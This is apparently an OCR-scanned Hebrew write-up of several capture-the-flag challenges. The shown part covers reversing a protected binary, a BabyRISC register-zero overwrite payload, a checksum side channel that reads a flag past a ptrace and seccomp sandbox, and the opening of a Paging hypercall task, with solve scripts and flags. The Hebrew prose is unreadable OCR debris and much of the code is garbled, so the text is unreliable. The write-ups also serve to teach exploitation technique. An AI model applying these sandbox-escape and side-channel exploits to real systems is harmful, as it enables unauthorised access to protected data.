NN ,Dn NX? .nNonn oy Yopni /bin/bash yalpnn 0x5117 vo9Ixa 0N 18 XN build_key

./sbin/insmod yalzn TV ,nX7n DI .nN9nn Dy YopNi /bin/ping yalpnn 0x5128 vo9Ixa 0'NA 18

-NY NPT DX DYIVY 090 2IMdDY71 L, DTINY Image-nn D'VAIIN DNIXIAN DX Y7N7 D1
72K ,n7NNnNNn NiMYY? 1712',2aR) Mm% ' L.w IR .app.magen DX N7 Nan 7y nwiy loader

.app.magen 7¢ N¥"N NX 2277 VIYD KIN NONY [IWXRIN 1T .(© T g nn loader NX WINDY

AWONR (V777 NINANY NP XN NNIYY?) XN DR DNYoN Y NYDNNY RN - TRy X7 0T
NTY N'721 D2 NIY9N "NR) ptrace(PTRACE_TRACEME, ...) DY NNIX D'AQTA DX NZTIA K'Y D107

.(DVJI.U X'nY nn pIi'm/a

N7Y Nn% D - 70NN 7w N7 dump NIYY? RIN NN NIXAY DRTELNI017 TWORY YN 12TN
nc NIYXNXA IX ,NINK NIDAN 2127 mount NIYXNAXA NIIDNYT D'¥27N NIX 11ayn'm 7'NNa ?0xva 751
app.magen NX YN ,172'w module-n NX |'PN L[N WNXRY? .python SimpleHttpServer-1 curl /
Y2177 IMIX Y7011 ,(rwx NIRKWANA TR [ND'TD ITR) (Y01 TIgn I'98 NAImdN NN 21ma Lyl

.dd niv¥nxa

4.0 KiB) copied, 0. 6762 s, 10.9 MB/s
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main N7 K7W N'¥197 NX'O7A 7'NNNY ,NyIoNN TIPN DX NIKAZEIDA -2 IMIX NINS7 75311 ,Ny>

segfen segment byte public ' CODE' use64
assume cs:segffg
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
00000600060000000 jmp main

align

N'¥1I1IPA DNVNS 72P7 KIN NIYIY DY DN DY DIFYao NN 'y Rk LIDA W nima Nnx

TINTD N'¥jI97 KNAIT .'9'¥90 syscall yixral ,syscall 7w n'¥111177 nnn [ fastcall nk7n

> t _ fastcall ptrace{_ _int64 request, _ int64 pid, void xaddr, void =data)
ptrace proc near ; CODE XREF: main+1CWp

var qword ptr
quword ptr
dword ptr
dword ptr
quword ptr

var :
var
var 14

var

nmun unnn

mov
mov

mov

mov S ) %

nov 2 [rsptvar_14]

moy >si, [rsptvar_18]

mov rdx, [rsptvar_28]

mov r18, [rsp+var_28]

mov eax,

syscall ; Low latency system call
mov [rsptvar_8], X

noy rax, [rsptvar

retn

:D'RNNN syscall-n 7w DW'7 112 N'¥j7a19 70 D'RNNT FTD XaN INRA TV DN

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86 64

-64 bit

ANXY7? .0x65 NIN Ny¥an X' syscall-nw jun ptrace ITN N'XAI9%7 KR DTN XNAITA
NalJ) |n'7 I'RY NI'Y21I9 'Y TIY OV IXY"] ,n'm NnI'YIon nnx 757 DVNISNI bW NX D'RMIY
‘memcmp NYXan VIYO ,NIIYRIN
int64 usercall memcmp@<{rax>({void *al1@<{rsi>, void xa2@<{rdi>, int a3E<edx>)
char »v3; }}! rax
char v4; }} cl
_BYTE »v5; [} rax
while { a3-- )

{

R {char x})a2;

a2 = {char x}a2 + 1;

vq4 = »y3;

vH = al;

al {char x}al + 1;

if vq = xy5 )
return 1i64;

return 8i64;
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("22172 D'VOBIX YN '97) DIV D'VODIX 24-1 D'NA 11NN NRIIP TXI,libc.so.6 MR NNNID NI
AIX'N A9OK2 ']IJ'I'?
int64 usercall read_at_offsets@{rax>{void xin_buff_1@<{rdi>)
__int64 in_buff; [} [rsp+8h] [rbp-18h]
unsigned int fd; }} [rsp+Ch] [rbp-Ch] MAPDST
int i; /! [rsp+18h] [rbp-8h] MAPDST
unsigned int v8; /! [rsp+14h] [rbp-4h]

> 64-linux-gnuf{libc. so. 6",

5);

i <= 23; ++i )
{ {(unsigned int)lseek{id, offsets_arr[i], 8) ==

write{1, "lseek\n", 5);
break;

if { {(unsigned int)read(fd, {void =) {i +
break;
}

close(id);

}

return

}

NVIYD TINN NPAI7NY |"211,117W main-7 11T ,NY)

LODWORD{v2) = ptrace{08i64, 0i64,
if == -1

write{1, "B
}
else
{ . :

flag_buff = {void x)mmap{B8i64, 24, 3, 6x22, -1, 8);
if { flag _buff == {void x)-1i64 )
{

write{1, "mmap\n", 5):;

}

else

{ ;
user_buff = {void x)mmap{06i64, 2408, 3, 34, -1, 8);
if { user_buff == (void %)-1i64 )

write{1, "mmap\n", 5):
else
if { (unsigned int)read_at_offsets( Y} = =10)

if { {(unsigned int)read(8, , 248) == 25 8& ?!{unsigned int)memcmp {
write{1, "Good work my friend, go submit the flag\n", 40):;
else
write{1, "This is not the right flag, Buddy\n", 34);
}

munmap (v7, 1

}

munmap {

}

}
exit(v3);

RIN ;)0 ONKR D7 0TI MY'YY 'Dd XY 7V ptrace NIYXAX] IXIAN 7¥ 22T YN XN A7'NN
0'N2 24 NXNPZ NIYXNKRA 72TN 7INNK INKR .WNNYNnn 0777 TNRI 2277 TNR - DI9KA Y YR'IRn
TN 0'9TI 7277 IMIR Dwn ,unnuninn V77 72pn XN Llibc.so.6 yalpnn D2IW D'VODINA

.OXNN2
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0V9PO ANDYT IN 22T DX RIXN71 70NN W [N0T? dump niwy? "nim%?" 725 - r'woy oa

MWD DYOIRND 7V 17 TR ,app.magen DX NIW97 7'awl 11'WY 11D MIYWKIN N'NOIRN DX .1N7WN

from pwn import *

def ():
offsets = []
with open('app.magen.dec', 'rb')
f.seek (0x1a0)
for in range (24) :

offsets.append (u32 (f.read(4)))
return offsets

() :

offsets = get offsets()

[]
with open('libc.so.6', 'rb') as f:
for offset in offsets:
f.seek (offset)
1l.append(f.read (1))

return ''.join (1)

if name ==
print main ()

RXINNI

FLAG{magen_velo_yeraELF}
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PWN
BabyRISC :nw
150 i1
Following ARM's success, | went ahead and designed my own
RISC assembly language.
| wrote a simulator, so you'll be able to run your own programs
and enjoy the (very) reduced instruction set!
Of course, with such minimal implementation, reading the flag
is impossible.
nc babyrisc.shieldchallenges.com 2070
JJnNo

NIX D72 1R ,90112 .RISC NMIVZVDINY '0'01 IV7INKR 7'oNN MY 111197 TV ,JANKN IR'TN

flag-n IR XNPY 17 NTY'Y NIY7IN 12 wONY 7011w NI 7Y 1107MKRN Y TN

qQIIXNY TIPN .main.c 7V 11y 2117¢ "10NN ANl NR2INN DY 17 WY punnn an - ann 7'nm

:DIYNN D'P7NN NIX 70 700 KX ,N70n0 TIRn K7 KN [RD

generate admin code (uint8 t* payload, size t max size, size t*

payload size out)
{
flag string[MAX FLAG SIZE] = { 0 };

read flag(flag string, sizeof(flag string)):;
payload fp = fmemopen (payload, max size, ) g

file write opcode imm32 (payload fp, ADDI, ASM REGISTER R1,
ASM REGISTER ZERO, 42);
file write opcode3(payload fp, MUL, ASM REGISTER R2, ASM REGISTER RO,
ASM REGISTER R1);
file write opcode imm32 (payload fp, SUBI, ASM REGISTER R2, ASM REGISTER R2,

file write opcodel (payload fp, RETNZ, ASM REGISTER R2);

for (int32 t * p = flag start; p <= flag end; ++p)

{
int32 t dword = *p;

file write opcode imm32 (payload fp, ADDI, ASM REGISTER R1,
ASM REGISTER ZERO, dword);
for (size t j = 0; j < 4; j++)
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file write opcodel (payload fp, PRINTC, ASM REGISTER R1);
file write opcode imm32 (payload fp, ROR, ASM REGISTER RI1,
ASM REGISTER R1, 8);
}
}

file write opcode (payload fp, PRINTNL);
file write opcode (payload fp, RET);

offset = ftell (payload fp);
*payload size out = (size t)offset;

return ret;

read user code (uint8 t * payload, size t max size, size t *
payload size out);

main ( )

uint8 t admin payload[MAX ADMIN PAYLOAD SIZE] =
size t admin payload size = 0;
uint8 t user payload[MAX USER PAYLOAD SIZE] =
size t user payload size = 0;
uint8 t * combined payload = NULL;
size t combined payload size = 0;
generate admin code (admin payload, sizeof (admin payload),

&admin payload size);
readiusericode(useripayloaa, sizeo?(useripayload), &user payload size);

combined payload size = user payload size + admin payload size;

combined payload = malloc (combined payload size);

memcpy (combined payload, user payload, user payload size);

memcpy (&combined payload[user payload size], admin payload,
admin payload size);

execute asm memory (combined payload, combined payload size);

return ret;

NN TIPLVTAN AIV7MKY? RISCV TPV NNAYA KIN N7 WY punnny 21 ,TIign 7y 1avnn

:N2N 2IW'NN DX y¥anw ,admin_payload 197 yin' (user_payload)

1. Rl1=Zero+42
2. R2=RO*R1
3. R2=R2-1
4. IfR21=0
a. Exit
5. Else
a. Printflag

MDY 113 .0 TN NI 7NNINAY 100" XIN Zero-1,'7%) win'y'7 01vo'a on RO, R1, R2 W'wXD
NR1MIMV NIXD DPTAN DR 1AW7 WWOKR 'R N7 .RO * 42 == 1 DrN NP'TA7 71IPW DT ,NNyna
DM"PNN DAIWNN W K'T .07 32 9 7T Nivyann 107mya ni7vesn ?(Overflow oy ,T121)

N7 TN ,"AIT 1901 VTN ,'AIT 1901 1717 ,INXK 1901 731 1T 190n 7w 9 2% (nxw) 17Tma
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DNA'Y TPV MDY NRT 722 NP TAN DX A7 T KIXN7 XN 17 nonn ,PpPY .1-7 yan n

.Print flag-7 yan'7 117

NIYIo1 wnnuny  build_payload.c owa yalip 1Az ,TIpotan namda b o aty? o m

Y217 TIpotan NX DX 2NdY7 1 file_write_opcode

/* This project is an example project that can be used in order to generate
payloads for BabyRISC.

* Just edit the opcode insertion and run the output binary.

* The payload will be written to a file named "payload.bin".

*/

main ( )

FILE * payload fp = fopen ( ) ;

file write opcode imm32 (payload fp, ADDI, ASM REGISTER RO,
ASM REGISTER ZERO, 0x0);

file write opcode imm32 (payload fp, ADDI, ASM REGISTER R1,
ASM REGISTER ZERO, O0x11);

file write opcode imm32 (payload fp, ADDI, ASM REGISTER R2,
ASM REGISTER ZERO, 0x22);

file write opcode imm32 (payload fp, ADDI, ASM REGISTER R3,
ASM REGISTER ZERO, 0x33);

file write opcode (payload fp, RET):;

uint32 t terminate marker = TERMINATE MARKER UINT32;
fwrite (&terminate marker, sizeof (terminate marker), 1, payload fp);

asm_processor state:
typedef asm_register e
{

ASM REGISTER START,

ASM REGISTER ZERO = ASM REGISTER START,

ASM REGISTER RO,

ASM REGISTER RI,

ASM REGISTER R2,

ASM REGISTER R3,

ASM REGISTER R4,

ASM REGISTER R5,

ASM REGISTER R,

ASM REGISTER SP,

ASM REGISTER END
} asm register t;

extern uint8 t asm stack[ASM STACK SIZE] = { 0 };
extern reg value t registers[ASM REGISTER END - ASM REGISTER START] = { 0 };

read reg(asm register t reg, reg value t * reg out)

if (reg < 0 || reg >= sizeof (registers) / sizeof (reg value t))
{
return E R INVLD REG;

}

*reg out = registers(reg];
return E SUCCESS;
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write reg(asm register t reg, reg value t value)

if (reg < 0 || reg >= sizeof (registers) / sizeof (reg value t))
{ return E W INVLD REG;

(}alse if (reg == ASM REGISTER ZERO)

{ return E W2ZERO;

}

registers[reg] = value;
return E SUCCESS;

nnonnn 0o L,RO-R6 0"7'70N 0MVOAN L0 NI'NY YTANMY Zero 100NN DX 7'o1 N1V7INKRN
-n INIX NIYY? 7511 X7w D RZero-7 D'aNID X7 1ININY NXRTINY ,write_reg-1 Nj?'Ta7 17 n'wa .SP
:D'MWON NIINNS Nnd v 21wNn'? 2011 1'woy 1) .0
flag-n NX XNP?7 21w D' 0T MR 0'9TNY1 admin_payload-n X NP7 NI017 e
NN 7w Control Flow-n '"1'w NIYXANA Nz'TAN 72w A7T7 e
jmp niyxnXa o
naonnn 72V NTNN Y NoMwi call niyynNka o
NP TN NXR 117 7211 ,0-n NIY W NI Zero X 7NNKT? DN OX @
...Zero 7w 'Y pTIa write_reg AN ©
IN'72Y DA 2IANNYT AT YD .YNINT 117 AWOKRN 1IV7IMKNY DNITIRO9A 017N NINNSN 70 ,|amd

instruction definition t asm instruction definitions[MAX ASM OPCODE VAL]

ADDT

14

INSTRUCTION SYMBOL ( )
INSTRUCTION SYMBOL (ANDI),
( )

)

INSTRUCTION SYMBOL
INSTRUCTION SYMBOL
INSTRUCTION SYMBOL
INSTRUCTION SYMBOL

INSTRUCTION SYMBOL

(

(

(D INSTRUCTION SYMBOL (DIVTI),

(MU INSTRUCTION SYMBOL (MULT),

(OR) , INSTRUCTIONisYMBOL(ORI),
INSTRUCTION SYMBOL (PRINTC), INSTRUCTION SYMBOL (PRINTDD),
INSTRUCTION SYMBOL (PRINTDX), INSTRUCTION SYMBOL (PRINTNL),
INSTRUCTION SYMBOL (RET), INSTRUCTION SYMBOL (RETNZ),
INSTRUCTION SYMBOL (RETZ), INSTRUCTION SYMBOL (ROL),
INSTRUCTION SYMBOL (ROR), INSTRUCTION SYMBOL (SHL),
INSTRUCTION SYMBOL (SHR), INSTRUCTION SYMBOL (SUB),
INSTRUCTION SYMBOL (SUBI), INSTRUCTION SYMBOL (XOR),
INSTRUCTION SYMBOL (XORI), INSTRUCTION SYMBOL (PUSH),
INSTRUCTION SYMBOL (
INSTRUCTION SYMBOL (

) 8

POP), INSTRUCTION SYMBOL (PUSHCTX),
POPCTX)

NINNLVE 4-7 NITIPON NX 7707 N1
N 71 (Immediate) viap Da niapgn |90 D1 ADDI, AND, DIVI - nrronnax nimpe .1
DVO AN

[N'2'M7 PRINT - NODTN NITI7 .2
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DNIX TNWY71 D00 qINT? NNWORNN PUSH/POP/PUSHCTX/POPCTX - naonn niTipe .3
Jmonnnn

NNNNXN) NDNNN NIRXIE VIW9Y RET/RETZ/RETNZ - Control Flow-n 7y niy'swnn nimpes .4
(0-7 nw X7 IX NNIW 00 AN DX NPT INXRY [N1an

:DNIX 71097 7'NNnY% 7511 ,0N'™7Y NAWNY D'™MWOXN NRINNS9Y7 1ITNI DX

,(MMonnnn yIN N2'7T 7¢ 09011 VMK ' ,"7'7021) [ND'T7 NN'Y' NIYAIN NITIPO N7 'R e
.90 NTI* admin_payload-n MR XNP7 7W N'Y9IRN TR

Control Flow-n "1'w Dy n'Tan 7 2777 N1 X7 ™8 ,call IX jmp-7 NI7Ipw nITIpo n7 'R e

.."IYOX NNXA X7 TR ,write_reg N2 7721 , Q1YW - Zero NV0AN Y 'I'Y @

?DINNN ©

N'VITIVO MNAT7 X7 MWD K'Y 7720 ,]'Vin IR TINND TDYINY NNR DT W'

INSTRUCTION DEFINE OPO (POPCTX)

{
ret = E_SUCCESS;
reg value t sp val = 0;

ret = read reg(ASM REGISTER SP, &sp val);
if (ret != E SUCCESS)
{

goto cleanup;

(sp_val < (reg value t)sizeof (registers) || sp val >
(reg value t)ASM STACK SIZE)

ret = E STACK VIOLATION;
goto cleanup;

}

sp_val -= sizeof (registers);
memcpy (registers, &asm stack[sp val], sizeof (registers));

cleanup:
return ret;

}

0TI PUSHCTX 'T* 7y 1212w 0M0oan W7 nonnnn POP niwy? 117 nMwoxrn POPCTX nTIj79n

.(Ixan Tmy% Naynw 197 Ddnxya 2IwWN7 101) XAN TINY2 akAN IR 1791 K0ILPY7
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10-n MW W7 INIR N7 ,ASM_REGISTER_ZERO NX ONT7 17 NNWONN N'¥71190

NP'TAN 72V 21w 75N01 ?7nErTan MR DNA 'R TR 20210 ,"7IR

R1 =Zero +42
R2 =R0O *R1
R2=R2-1
IfR21=0

a. Exit
5. Else
a. Printflag

P wnN e

7271 -41 VN DX 12 D'W) DX .Zero-1 DA D'U7IY 1NN ,NYD

R1=-41+42=1
R2=RO*R1=RO*1
R2=R2-1=R0-1
IfRO-11=0

a. Exit
5. Else
a. Printflag

HwnNe

7w wnw 127 0'wa .1 vn IR RO-Q 0'WY KIN NRTTAN IR QY7 YT NIwYY 117 dNnY nn 'l

WINMN 1N 1901 12 0'WY? NI017 IX 'K 127 ,]1030 7WY7 AaTNNwn SP 100N

file write opcode imm32 (payload fp, ADDI, ASM REGISTER RO,

ASM REGISTER ZERO, -41);

for ( i =0; 1 < ASM REGISTER END - ASM REGISTER START;

{
file write opcodel (payload fp, PUSH, ASM REGISTER RO);

}

file write opcode (payload fp, POPCTX) ;

file write opcode (payload fp, PRINTNL);
file write opcodel (payload fp, PRINTDX, ASM REGISTER ZERO) ;

file write opcode imm32 (payload fp, ADDI, ASM REGISTER RO,
ASM REGISTER ZERO, 42);
file write opcodel (payload fp, PRINTDX, ASM REGISTER RO);

© 7271 M> MNAa7 NX12 X7 T 72K, INWN 0'9 TN XINW DKM ...1 DY 7N yMa
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NN MWD NIX DXL 72T DX 0'9TY Thmn 2V 21¥ 7ON0)

file write opcode imm32 (payload fp, ADDI, ASM REGISTER RI,
ASM REGISTER ZERO, dword) ;

41-2 |uj 09TINY dword-nI ,I'wdy -41 XIin ASM_REGISTER_ZERO !"a1h NN n7ayp X7w 1Ma

M2TN DX 0'9T AT DX |PN'Y N 09170 AN 'Nkn NN

from pwn import *
ldata =

with open('malformed output.bin', 'rb')
while True:
data = f.read(4)
ldata.append (data.ljust (4, "\x00"))
if len(data) < 4:
break

print ''.join([p32(u32(dat) + 41) for dat in ldatal)

flag{RISC_doesnt_reduce_amount_of_bugs_after_all}
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Recall :nw
350 11,
Feel free to run your binary and use our tracer-call® services!
We made sure you won't be able to read the flag anyway ;)
nc recall.shieldchallenges.com 9022
4 (RN 1)

NIY NNAIT? TIR n'?7'onin payload_example bwa NNl ,sandbox DWA "KL ¢ TIZ D'72N 1K

.R¥'m sandbox-nw 0N'¥'9NN 77N wnnwni (71917 1NXY7) sandbox-7 1'ayn?

2 19 sandbox-n ,sandbox.c-2 main Nxj19 ¥ Navnn
(PTRACE_GET_SYSCALL_INFO-12 win'w 7721) nn'xnn 71770 noaw np'ma .1
0T YAl JIN7 wnnwnnn ELF yaly n7ap

ELF-n yalp 7w np'ma

("¢ n'TNYN NNLVNN IND Ynwa) protected region 7INNX

fork niyxnxa |2 70N e

o o x w N

MINY 20 )'70N 2 DAY N7 71x'o
-1 NYNIW segment IX section |'NW NXTINI LIEF n"902 nunnwn ELF-n yalp ¢ np'man

7%17 AWWONY 70 N9 |'NY NINTID .N'0VO 79nIpNY 01 64 ELF yalp XInwi ,protected region

Ty w'w AR 19 (file descriptor) fd-n NX TR AT yai 2xI protected region-n 7w 7INNRN

(J]2an 7w pid-7 0112) VINIARD MIX N7APN NINN 7W DX D 7INNKT 29Y

TN LINIAND IATN YaIPN DY DX 7270 ,|an 1'70n

ptrace(PTRACE_TRACEME,...)-7 X1 .1

SIGSTOP 71a0n .2

MB8-7 17NN |NOT NX 7'aan .3

D7 XNPY? 710' 1*70Nnw 0'syscall-n DX 7'2anw ,)"70nn 7Y seccomp filter 'pnn 4

wnnwnnn 72pnny ELF-n Dy execve-7 X1 .5
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:Dnmn or-syscall-n

SCMP_SYS (rt sigreturn), SCMP_SYS(rt sigaction), SCMP SYS(rt sigprocmask),
SCMP_SYS (sigreturn),

SCMP_SYS (exit group), SCMP_SYS (exit),

SCMP_SYS (access), SCMP SYS(fstat), SCMP SYS(read), SCMP SYS(write),
SCMP_SYS (close), SCMP_SYS (stat),

SCMP_SYS (lstat), SCMP_SYS(poll), SCMP_ SYS(readlink), SCMP SYS (pipe),
SCMP_SYS (pread64), SCMP_SYS (pwrite64),

SCMP_SYS (readv), SCMP_SYS (writev), SCMP SYS(dup), SCMP SYS (dup2),
SCMPisYS(dup3),

SCMP_SYS (brk), SCMP_SYS (mmap), SCMP SYS (munmap), SCMP_SYS (mincore),
SCMPisYS(madvise), SCMP_SYS (msync) ,

SCMP_SYS (uname), SCMP SYS (getpid), SCMP_SYS (getppid), SCMP_SYS (arch prctl),
SCMP_SYS (futex),
SCMP_SYS (nanosleep), SCMP SYS (gettimeofday), SCMP SYS(getuid), SCMP_SYS (getgid),

SCMP_SYS (execve),

~ NR tracer call

?(protected region-7 nw'a ,NIN9N 737 IX) sandbox-Nn NNM2A 72w D' 110 NN
(proc/self/ nnn 02T 7w NaMdI AR IX flag-n 7w AR VIYD TRI) D'¥AP NN'ND
D'-race 7¥17 72w D'thread Nyt o
protected region-n NIXYIN 'N'Y e
?["yn NIrn? 201 W D Nn .an'wna 0t X7 n7R 7 1My
lnnn xNP7 N1027 2211 ,NIND WX protected region-n 7w fd-n DX - read o
INT'NAY7 NIAUNDA [N'T YP'7X7 N7 YWORN - mmap e
?7%1% 1w 0N 12 W 7IR .17 wiant wnnn sandbox-nw syscall - tracer_call e
:NINN '70N2 NI N PITA ,NTH VOPZVIIN NX 117 W'D I'YDY ,M7IR
nIMY 2 v timeeout Y Tan .1
[ann SIGSTOP 7w 71207 'mnn .2
execve-7 TV AN DX yn .3
memory NIVXNN] protected region-n NX 7NNX7? 'O 0'Xan D'syscall-n DX 1'% pm 4
:mapped file
mmap(PROTECTED_REGION_ADDRESS, PROTECTED_REGION_SIZE, PROT_READ, .a
MAP_SHARED | MAP_POPULATE | MAP_FIXED, protected_region_fd, 0)
mprotect(PROTECTED_REGION_ADDRESS, PROTECTED_REGION_SIZE, PROT_NONE) .b

protected region-nn 2IM>7 IX XNP7 [N X7 1T AR INXRT
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close(protected_region_fd) .c
® protected_region_fd 7y read-7 XNj7? vIWS 7w N*DNN NO7N
execve-7 NNMPN 7Y NIpnn voRLAIEN NXThwn .5
(tracer_call) wnnn sandbox-nw syscall-7 nixjpa 7oun ,while(True) nx7172 .6
SN O T NN X" wnn an iR - ji7woa a

:In wnnn sandbox-nw tracer calls-n

nop (tracer data t * tracer data,
uint64 t * call result);
write flag to protected region
tracer data t * tracer data,
uint64 t * call result);
tracer call clear protected region (
tracer data t * tracer data,
uint64 t * call result);
tracer call store key value(
tracer data t * tracer data,
uint64 t * call result,

key index,
uinte4 t key value);
tracer call get key value (
tracer data t * tracer data,
uint64 t * call result,

key index,
uint64 t * key value out);
tracer call checksum tracee memory (
tracer data t * tracer data,
uint64 t * call result,

* tracee memory to checksum,

uint32 t * tracee size to checksum,
uint8 t * tracee checksum result);

UKD

.protected_region_fd-n nxi child_pid 7'onn |an 7*70N0 112y Wxnw struct XN tracer_data e
.tracer call-n 7w NTNN Y NIN2 rax-2 TNIMY 9Xp17 NINWN NN call_result o

Jan 70N T 2 ro17NY7 0107V DNY 19D D'YIAN D'VINIANRN IRY e

protected -7 flag-n NX 2IND7 N¥MNIW NX11D - DWNN N2 tracer call 70 T 72y wanmn pwnnn
N7 '’RY 1IDM) WD T MK XNP27 TR write_flag_to_protected_region NiyxnXa region
.(PROT_READ-7 qTn 7w protection-n NX NNW7? T IX ;D2 17 VY7 DMIwyw D'syscall
:TINT ‘02 protected region-nn XNP7 N*7¥n%7 10T XIXN'7 NVN2 tracer calls-n 7y 112w

.07 DY 'K .NOP NT NOP o

protected region-n IN7 flag bwa yalpn X1 0IWO write_flag e

INIX NNWNl memset nwIY ,protected fd-7 |1N>'T nonn clear_protected_region e

XY 11D 7T21 OPTI'RN - "7XA172 YN 1 0'10n store_key_value e

XY 10D 7721 O TI'RN - "7INA17a0 1yninn W R'NIn get_key_value e
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(7ma + 0'0a NaIND) |NO'T UTR 7V checksum awN? "WoOKRN checksum_tracee_memory o
|17WD W ITIN |2 DX - protected region-2 XXN1 XIN DX PTAIUTRN ©

result-n 7w V119N DA ©

197127 N2UNdN X171 7TIAN 1901 X7 0T .WA0 .190N DT D PIM7 X X7 7TAN R o

,UNNUNN NOMwA 'oI7NY  NINW  tracee_size_to_checksum 10119Nn Ny¥aNNYW RN
DX NP'T 'K '[N '7nnn dword XNi77 'O ptrace(PTRACE_PEEKDATA, ...) n'¥j71191 nwnnwn
17y 71120 178 on'ninYi flag-nn 77n% yfaxn%? o™io' nnakw X"1 ,protected region-1 1V 19N

Ichecksum D'wiy
?flag-n *72* NX D'RIPI AT DX D'7XIN 'R - A7RWA D71V DY)

checksum-n 1971 ,AXPW 77122 7In TR 2V checksum NiwY7? XN 17y 21wNY 0@ TR [I'VA
29 0IR'MN 71N, MB8 1 Y777 0710 1INIX PR'YAN .0'RNNN YD NN 2'onY? NIo17 N7
MNA7 INCNTIMI0 Yyl X7 01D 12T YW winmy D nn ...0x7e7e7e7e-7 yant 710" X nn

..MYON

N'X;211I9N OX2 wUNNWN?I Mda w07 n¥1 NN [I'VA RXN1 ,N'X;2119N v nxp Ty 7>N01 DX

NN nn .flag-nn X1j7w 77127 side channel M2 X7 IN N7w)

if (read tracee dword(
tracer data,
tracee size to checksum,
&length to checksum)
{
*call result = -EFAULT;
goto Eleanup;

if (is_in protected region (
tracee memory to checksum,
length to checksum))

{

*call result = -EPERM;
Go to cleanup;

aITN' ,protected region-7 0'0101 VIMIARD NMIW checksum-7 NAIMdN + NXKPY size-N DX
checksum-7 namdn ox 772> 0x41424344 p'nan MR DRPY T X"T -EPERM 01uXRLON

.-EPERM 1itn' PROTECTED_REGION_ADDRESS - 0x41424344 n'nn 1'ayiy
[P WNKR7WD) AINKR NR'AW OIVXVO ITN' PROTECTED_REGION_ADDRESS - 0x41424345 1yl DX

.(n'pln X7 mamd |Ann NI'1|7'7 NOoIN N'X2219n
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nMY MWy T N nxp at (ASCH im nwanx) 0w ooy 95* rwoy nioa? Yax ,aman IR

LNXN

nron Iog(954, 2)=~26-1 7Wn DX KIXNY 07 TY'Y NN "R WID'N NIYYYT 2N NNR NYYOIX
DTPNN?1 ,NULL ' 0'na nwi7ww 17 nvamve ' Lflag-n 7w qlonn 2'nnin? X'n N9011 N'¥OIX

IIm-m wna?7 75311 7o .flag-n Nn'NN?%

TV checksum-7 NaIM>n Dy NINK 171 VIYD - 77 AT .flag-N 7¥ XD NN Fan? DA IURIN TYEN

:-EPERM 72777 *021w

while (-EPERM == status)
{
status = syscall func(
__NR tracer call,
TRACER CALL COMMAND CHECKSUM TRACEE MEMORY,
PROTECTEDiREGIONiADDRESS = 1,
PROTECTED_REGION_ADDRESS aF flag_len,
&checksum) ;
flag len++;

DNIX WN17 KIN ANRY 75 ,nwd .0ma 45 Kin flag-n IR 7an

uint8 t checksum = 0;

uint64 t status = -EPERM;
guessed chars[FLAG LEN + 8]
* currently guessing = NULL;
found = false;

if (0 != syscall func(
__NR tracer call,
TRACER CALL COMMAND WRITE FLAG TO PROTECTED REGION))
{
syscall func( NR exit, 0);
}

for ( i = FLAG LEN; i > 0; i--)
{
found = false;
currently guessing = &guessed chars[i];

for ( Up @ € 1285 ciF)
{
*currently guessing = c;
status = syscall func(
__NR tracer call,
TRACER CALL COMMAND CHECKSUM TRACEE MEMORY,
PROTECTED REGION ADDRESS - * (uint32 t*) (currently guessing)
PROTECTED_REGION_ADDRESS = 2 % i,
&checksum) ;
if (-EPERM != status)
{

found = true;
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}

(! found)

syscall func( NR write, 1,
break;

}

}
syscall func( NR write, 1, ; 6) ¢
syscall func( NR write, 1, guessed chars,

syscall func( NR exit, 0);

FLAG LEN) ;

RXINNI

flag{OOP5_D1d_1_F41L_70_V4I1D473_cH3ck5UM?!}
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Paging :Nanxn DY

400 :TIipM
After going through the xv6 Memory Management chapter, |
decided to challenge myself and implement my own paging
mechanism! (In ARM, of course!).
Mo chance for bugs here, right?
nc paging.shieldchallenges.com 7777
q (R 1)

NIY¥NINA MIX Yl ,0x4000 N'T'on NAMD7 MIX VIV ,ARM TIg 0773 7apm 7w Tin
ARM-N TI7 - N7¢ Njznd) Tayvn NITIRD 7w NxN Y7IR7 2WoRNY 1107mK Xin Unicorn .Unicorn
-7 NN TR DN LNO'T W namd/aRnp 7 - 0-hook nan qrom TIpn (DN NNIXY

.hypercalls-1 interrupts ,paging 1> DI DM'¥'91 INNYT 1D ,Interrupt

19 N (Unicorn-a ypixkn  1710) no'ta AN D% ontnn? N1 axMn n7'nna

.0'n2 0x800000 77122 XINl 0 NAINDA 7'NNN NYONT7 YR2INAY 'T'9N [NDTN

-7 NP7 NID NIWYT7 0710 INIRY "ayn DR MATR NMDNN 7Y DT Q¥ TR N IR KY?

SVC NTIZ9N NIYXNKA 0O'NAN D'-Interrupt

Paging-n [12211 N'7u9n - PAGING_ENABLE

Paging-n 12210 '’ - PAGING_DISABLE

(7vi9 Paging oX 1 Ta1y) HyperCall yixa - HYPERCALL_REG

(x86-2 CR3 nd) Page Table-n 7w M7'nn%7 y'axnw ,TTBRO 2000 7INN'X - TTBRO

NX"MN DI'o - EXIT_SVC

B W N R O

HyperCalls 2112y n'¥p'0InIX yix'a - AUTHENTICATE_SVC

7vom Paging DX 0 .a

NotimplementedError N ITI NWNIMN X7 N'¥71190 - TAY' NTARA X7 b

self._curr_perm = Hypercal GROUP_PERM_SUPER nxTm nn"n ,Talv n'n DX .C
(Hypercall. GROUP_PERM_USER Xin mnwnn 7w wn HyperCall-n 7Innx2)

NXN] ?001DN R X7 - N7W DVND AN 2N dnn LR Qiun an )ya 0'an NNIRY DY)

Hypercalls 14 w') 2N n9'PN NVWN Po0n XiN ' - HyperCall-n X1n nn1'nan ayn Dn 2Immnw

STAY RIDPIMTA )R 20T T A 17V 2N LR vant nwp Dnw arn oal (o

:D'NAN NITYUN DX NIONRN L7 nNTann 1R 0 DT NaimNa 17'TNN [11A10N
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/ Int8ub,
/ PaddedString (LEN OF TIME STR,
/ Array (this.groups, Struct (
/ Int8ub,

N'TNNY ,activate n'¥71191 HyperCall 7w 112000 DA 7v9Im ,NIIWRIN DY92 Paging 0'7'von NWKRD

NINAN NI'VIO TN NNTANN NN

1,

datetime.datetime.fromtimestamp (timestamp) .strftime (TIME FMT),

[
self.GROUP PERM SUPER}

- VI¥ 197 a0 HyperCall o'v¥xanw yana own Nixdpal 0 N'T'on NAIMDYT7 NIANd1 N7X NNTaN
N¥n1 (GROUP_PERM_USER == 0-7 7nnIxn) self._curr_perm DX NTIan np'1a nn*'y ,HyperCall
,INN group 0 W' - NIM'UZI9TN NNTANA ,O'RIN DRY NN '97) NNTANAY Groups-Nn TNXQ

.(GROUP_PERM_SUPER == 1 nixwnna

NNYY - IR NP TaN DR 112Y7 0T KIXn? 10X ,0tHyperCall yin'? nr'7xn? n¥11 OX X ,M7IR
